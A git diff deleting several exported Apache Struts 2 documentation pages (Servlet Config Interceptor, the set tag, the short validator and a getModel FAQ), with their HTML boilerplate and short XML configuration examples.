-
-
-<p>See "<a shape="rect" href="can-i-change-theme-on-a-per-page-basis.html">Can I change theme on a per-page basis</a>" page for using scoped "theme" attribute.</p>
-
-<h2 id="SelectingThemes-Tips">Tips</h2>
-
-<ul><li>To override an entire form's theme, change the "theme" attribute of the form. (Convenient for using the <a shape="rect" href="ajax-theme.html">ajax theme</a> for specific forms, for example.)</li><li>To support user-selected themes, set the theme in the user's session.</li><li>To change the theme for the entire application, modify the <a shape="rect" href="strutsproperties.html">struts.properties</a>.</li></ul></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/servlet-config-interceptor.html b/content/docs/servlet-config-interceptor.html
deleted file mode 100644
index 428528b..0000000
--- a/content/docs/servlet-config-interceptor.html
+++ /dev/null
@@ -1,186 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Servlet Config Interceptor</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="interceptors.html">Interceptors</a>&nbsp;&gt;&nbsp;<a href="servlet-config-interceptor.html">Servlet Config Interceptor</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Servlet Config Interceptor</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13907">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13907">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13907">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13907">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13907">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13907">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>
-An interceptor which sets action properties based on the interfaces an action implements. For example, if the action
-implements ParameterAware then the action context's parameter map will be set on it.
-</p>
-
-<p></p><p>This interceptor is designed to set all properties an action needs if it's aware of servlet parameters, the
-servlet context, the session, etc. Interfaces that it supports are:
-</p>
-
-<p></p><ul></ul><p></p><ul><li>ServletContextAware</li></ul><p></p><ul><li>ServletRequestAware</li></ul><p></p><ul><li>ServletResponseAware</li></ul><p></p><ul><li>ParameterAware - deprecated since 2.5.4, please use HttpParametersAware</li></ul><p></p><ul><li>HttpParametersAware</li></ul><p></p><ul><li>RequestAware</li></ul><p></p><ul><li>SessionAware</li></ul><p></p><ul><li>ApplicationAware</li></ul><p></p><ul><li>PrincipalAware</li></ul><p></p>
-
-
-<h2 id="ServletConfigInterceptor-Parameters">Parameters</h2>
-
-
-<p></p><ul></ul><p></p><ul><li>None</li></ul><p></p>
-
-
-<h2 id="ServletConfigInterceptor-ExtendingtheInterceptor">Extending the Interceptor</h2>
-
-
-<p></p><p>There are no known extension points for this interceptor.</p>
-
-
-<h2 id="ServletConfigInterceptor-Examples">Examples</h2>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-&lt;action name=&quot;someAction&quot; class=&quot;com.examples.SomeAction&quot;&gt;
-    &lt;interceptor-ref name=&quot;servletConfig&quot;/&gt;
-    &lt;interceptor-ref name=&quot;basicStack&quot;/&gt;
-    &lt;result name=&quot;success&quot;&gt;good_result.ftl&lt;/result&gt;
-&lt;/action&gt;
-]]></script>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/set.html b/content/docs/set.html
deleted file mode 100644
index d34bd23..0000000
--- a/content/docs/set.html
+++ /dev/null
@@ -1,185 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>set</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="struts-tags.html">Struts Tags</a>&nbsp;&gt;&nbsp;<a href="tag-reference.html">Tag Reference</a>&nbsp;&gt;&nbsp;<a href="generic-tag-reference.html">Generic Tag Reference</a>&nbsp;&gt;&nbsp;<a href="set.html">set</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">set</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14256">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14256">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14256">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14256">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14256">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14256">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>Please make sure you have read the <a shape="rect" href="tag-syntax.html">Tag Syntax</a> document and understand how tag attribute syntax works.</p></div></div>
-
-<h1 id="set-Description">Description</h1>
-
-<p></p><p>The set tag assigns a value to a variable in a specified scope. It is useful when you wish to assign a variable to a
-complex expression and then simply reference that variable each time rather than the complex expression. This is
-useful in both cases: when the complex expression takes time (performance improvement) or is hard to read (code
-readability improvement).</p>
-<p>If the tag is used with body content, the evaluation of the value parameter is omitted. Instead, the String to
-which the body evaluates is set as value for the scoped variable.</p>
-
-<p></p><p>The scopes available are as follows:</p>
-<ul><li>application - the value will be set in application scope according to servlet spec. using the name as its key</li><li>session - the value will be set in session scope according to servlet spec. using the name as key </li><li>request - the value will be set in request scope according to servlet spec. using the name as key </li><li>page - the value will be set in page scope according to servlet spec. using the name as key</li><li>action - the value will be set in the request scope  [...]
-
-<p></p><p>
-NOTE:<br clear="none">
-If no scope is specified, it will default to action scope.
-</p>
-
-<h1 id="set-Parameters">Parameters</h1>
-
-<p><table width="100%"><tr><td colspan="6" rowspan="1"><h4>Dynamic Attributes Allowed:</h4> false</td></tr><tr><td colspan="6" rowspan="1">&#160;</td></tr><tr><th align="left" colspan="1" rowspan="1" valign="top"><h4>Name</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Required</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Default</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Evaluated</h4></th><th align="left" colspan="1" rows [...]
-
-<h1 id="set-Examples">Examples</h1>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-&lt;s:set var=&quot;personName&quot; value=&quot;person.name&quot;/&gt;
-Hello, &lt;s:property value=&quot;#personName&quot;/&gt;
-
-&lt;s:set var=&quot;janesName&quot;&gt;Jane Doe&lt;/s:set&gt;
-&lt;s:property value=&quot;#janesName&quot;/&gt;
-]]></script>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/short-validator.html b/content/docs/short-validator.html
deleted file mode 100644
index b72e3cf..0000000
--- a/content/docs/short-validator.html
+++ /dev/null
@@ -1,195 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>short validator</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="validation.html">Validation</a>&nbsp;&gt;&nbsp;<a href="short-validator.html">short validator</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">short validator</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=30739595">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=30739595">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=30739595">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=30739595">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=30739595">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=30739595">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h1 id="shortvalidator-Description">Description</h1>
-<p>Field Validator that checks if the short specified is within a certain range.</p>
-
-<h1 id="shortvalidator-Parameters">Parameters</h1>
-<p></p><ul><li>fieldName - The field name this validator is validating. Required if using Plain-Validator Syntax otherwise not required</li><li>min - the minimum value (if none is specified, it will not be checked) </li><li>max - the maximum value (if none is specified, it will not be checked) </li><li>parse - if set to true, minExpression and maxExpression will be evaluated to find min/max</li><li>minExpression - expression to calculate the minimum value (if none is specified, it will n [...]
-
-<p>You can either use the min / max value or minExpression / maxExpression (when parse is set to true) -
-using expression can be slightly slower, see the example below.</p>
-
-<div class="confluence-information-macro confluence-information-macro-warning"><p class="title">Warning</p><span class="aui-icon aui-icon-small aui-iconfont-error confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>Do not use ${minExpression} and ${maxExpression} as an expression as this will turn into infinitive loop!</p></div></div>
-
-<h1 id="shortvalidator-Examples">Examples</h1>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
- &lt;validators&gt;
-     &lt;!-- Plain Validator Syntax --&gt;
-     &lt;validator type=&quot;short&quot;&gt;
-         &lt;param name=&quot;fieldName&quot;&gt;age&lt;/param&gt;
-         &lt;param name=&quot;min&quot;&gt;20&lt;/param&gt;
-         &lt;param name=&quot;max&quot;&gt;50&lt;/param&gt;
-         &lt;message&gt;Age needs to be between ${min} and ${max}&lt;/message&gt;
-     &lt;/validator&gt;
-
-     &lt;!-- Field Validator Syntax --&gt;
-     &lt;field name=&quot;age&quot;&gt;
-         &lt;field-validator type=&quot;short&quot;&gt;
-             &lt;param name=&quot;min&quot;&gt;20&lt;/param&gt;
-             &lt;param name=&quot;max&quot;&gt;50&lt;/param&gt;
-             &lt;message&gt;Age needs to be between ${min} and ${max}&lt;/message&gt;
-         &lt;/field-validator&gt;
-     &lt;/field&gt;
-
-     &lt;!-- Field Validator Syntax with expression --&gt;
-     &lt;field name=&quot;age&quot;&gt;
-         &lt;field-validator type=&quot;short&quot;&gt;
-             &lt;param name=&quot;minExpression&quot;&gt;${minValue}&lt;/param&gt; &lt;!-- will be evaluated as: Short getMinValue() --&gt;
-             &lt;param name=&quot;maxExpression&quot;&gt;${maxValue}&lt;/param&gt; &lt;!-- will be evaluated as: Short getMaxValue() --&gt;
-             &lt;message&gt;Age needs to be between ${min} and ${max}&lt;/message&gt;
-         &lt;/field-validator&gt;
-     &lt;/field&gt;
- &lt;/validators&gt;
-]]></script>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/should-the-framework-call-getmodel-multiple-times-as-a-page-renders.html b/content/docs/should-the-framework-call-getmodel-multiple-times-as-a-page-renders.html
deleted file mode 100644
index d5c33b8..0000000
--- a/content/docs/should-the-framework-call-getmodel-multiple-times-as-a-page-renders.html
+++ /dev/null
@@ -1,140 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Should the framework call getModel multiple times as a page renders</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="should-the-framework-call-getmodel-multiple-times-as-a-page-renders.html">Should the framework call getModel multiple times as a page renders</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Should the framework call getModel multiple times as a page renders</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13857">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
